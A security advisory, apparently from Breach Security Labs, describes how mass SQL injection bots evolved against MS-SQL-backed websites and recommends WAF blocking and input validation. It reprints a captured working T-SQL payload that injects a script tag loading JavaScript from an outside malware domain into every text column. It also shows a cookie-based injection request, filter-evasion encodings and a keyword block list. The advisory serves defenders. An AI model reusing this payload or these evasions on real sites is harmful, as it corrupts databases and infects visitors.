Security Tips : Mass SQL Injection Attack Evolution

Security Tips : Mass SQL Injection Attack Evolution

Impact: Potential for database corruption or malware to be distributed to website visitors.

Resolution: Verify blocking policy in web application firewall. Remediate the following web application and database flaws:

1. Poor/missing input validation of user-supplied data in the web application.
2. Poor/missing output encoding of user-supplied data.
3. Improper database permissions and/or SQL query construction.

Who: Any organization with a front-end web application that communicates with a back-end Microsoft MS-SQL database may be vulnerable.

What: The attackers behind the mass SQL injection bots are updating their methods to continue to successfully insert malicious JavaScript into databases and compromise end-user computers. These methods include targeting non-Microsoft based web application front-ends, using different attack vector locations, utilizing evasion techniques and optimizing the JavaScript code.

How: Breach Security Labs has been monitoring the evolution of the tactics used by the mass SQL injection bots:

1. Attacking Non-Microsoft Front-End Sites

   In the initial attack phases, the bots targeted web applications utilizing Microsoft web language technologies (such as ASP and ASP.NET) for their front-end web applications. Early news reports indicated that the attacks would only be successful against Microsoft-only web architectures. Breach Security Labs has identified that this is not accurate. While the SQL query code injected into the web application is specific to the MS-SQL database, the front-end web application language does not have to be either ASP or ASP.NET. Any front-end web application that does not properly apply input validation functions on user-supplied data and does not properly encode user-supplied data sent to HTML is vulnerable.

   Breach Security Labs has conducted specific search engine analysis to enumerate non-ASP/ASP.NET websites that have been successfully compromised by these attacks.?

Technical Note ? The method used to identify non-Microsoft front-end web applications that have been successfully compromised by the SQL injection attack was to use a search engine to identify web pages that have the malicious JavaScript code in them (pointing to the malware domain sites). In order to be indexed by the search engine, the JavaScript code has actually been properly output encoded by the web application and is being displayed as plain text vs. being actual executable code. This means that while the end goal of executing malicious JavaScript code did not work, the initial phase of using SQL injection to alter database contents was still successful.

The web languages that have been compromised are:

1.???? PHP – .php pages
2.???? Cold Fusion – .cfm pages
3.???? Java Server Pages – .jsp pages

If you are running any of these web languages and have a Microsoft back-end MS-SQL, you may be vulnerable to these attacks and should confirm your web applications? input validation mechanisms and database settings.

1. Targeting Cookies as an Attack Vector

   The initial mass SQL injection bots targeted specific query string parameters as the attack vector. Recent evidence from the SANS Internet Storm Center has shown that the attacks have now also started targeting request cookie values. An attack would look similar to the following (the target URL and cookie name does not matter):

POST /example.asp HTTP/1.1

Cookie: start=S; end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x44454…

Content-Type: application/x-www-form-urlencoded

Host: removed

Content-Length: 3

Expect: 100-continue

Connection: Keep-Alive?

This new attack vector is important mainly from a detection perspective as most organizations? web server log file formats (such as Common Log Format) do not include the full request headers and would not display this attack data within the logs.

1. Utilizing Signature Evasion Techniques

   In response to the initial mass SQL Injection attacks, many website owners attempted to implement basic URL filtering rules to identify and block the attacks. These basic filtering rules looked for keywords such as: DECLARE, VARCHAR and CAST being passed within the query string payloads. The attackers, in response, have now started including evasion tactics to bypass these basic filters by including both valid and invalid hexadecimal encoding characters embedded within these keywords. There have been reports of the following examples:

C%AST

C%00AST
The inclusion of the ?%? sign and the ?%00? encoded NULL byte would evade basic filtering mechanisms while still working as functional equivalent code when interpreted by the MS-SQL database. It is therefore critical that any security filtering mechanisms have strong anti-evasion capabilities in order to normalize input data prior to inspection.

1. Optimization of JavaScript Code

   The end goal of these attacks is to have the malicious JavaScript execute successfully within visitors? web browsers as they are viewing the infected pages on the compromised websites. The attackers do not know or have any control over the portion of the web content that will be updated by their SQL injection attack and, therefore, have no visibility into exactly where in the web browser the malicious JavaScript will execute. After the initial waves of compromises occurred, analysis showed that many of the infected web pages did not have the code execute once within the victim?s web browser.

In response to this finding, the attackers then chose to optimize their malicious JavaScript code so that it had a higher chance of executing prior to the remainder of the normal web page content.

In looking at this captured SQL injection code below, the bolded portion shows that the attackers are attempting to ?cleanly? close the expected <TITLE> HTML tag, then inserting the malicious JavaScript and finally appending the opening of an HTML comment tag.

DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR

FOR select a.name,b.name from sysobjects a,syscolumns b where

a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or

b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM?

Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN exec(‘update [‘+@T+’] set

[‘+@C+’]=[‘+@C+’]+”“></title><script

src=”http://sdo.1000mg.cn/csrss/w.js”></script><!–” where ‘+@C+’

not like ”%”></title><script

src=”http://sdo.1000mg.cn/csrss/w.js”></script><!–”’)FETCH NEXT

FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE

Table_Cursor

The goal of this optimized code is to have the malicious JavaScript be the only section of the web page that will actually execute and then trick the web browser into treating the remainder of the web page code as a comment field and not executing it or showing it to the victim.

Impact

The impact of a successful compromise is severe as it can result in alteration of database contents, database corruption and also possible infection of website customers.??

Risk

Due to the misconception of ?Microsoft only? websites being impacted, coupled with the evidence that the attackers are utilizing different methods of attack and evasion, the severity for websites is HIGH.?

Resolution

Deploy a Web Application Firewall

Breach Security WebDefend? and ModSecurity? Pro M1100 customers are already protected against these mass SQL injection attacks through either the Adaption positive security model or by Generic Application Attack Detection rules. Customers should verify their security settings to ensure the appropriate prevention mechanisms are active, specifically, that the appliances are configured in a ?Blocking? mode for SQL injection attacks.?

Remediate the following web application and database flaws:

1. Poor/missing input validation of user-supplied data in the web application.
2. Poor/missing output encoding of user-supplied data.
3. Improper database permissions and/or SQL query construction.

Contact: For more information on this alert, please email support@breach.com.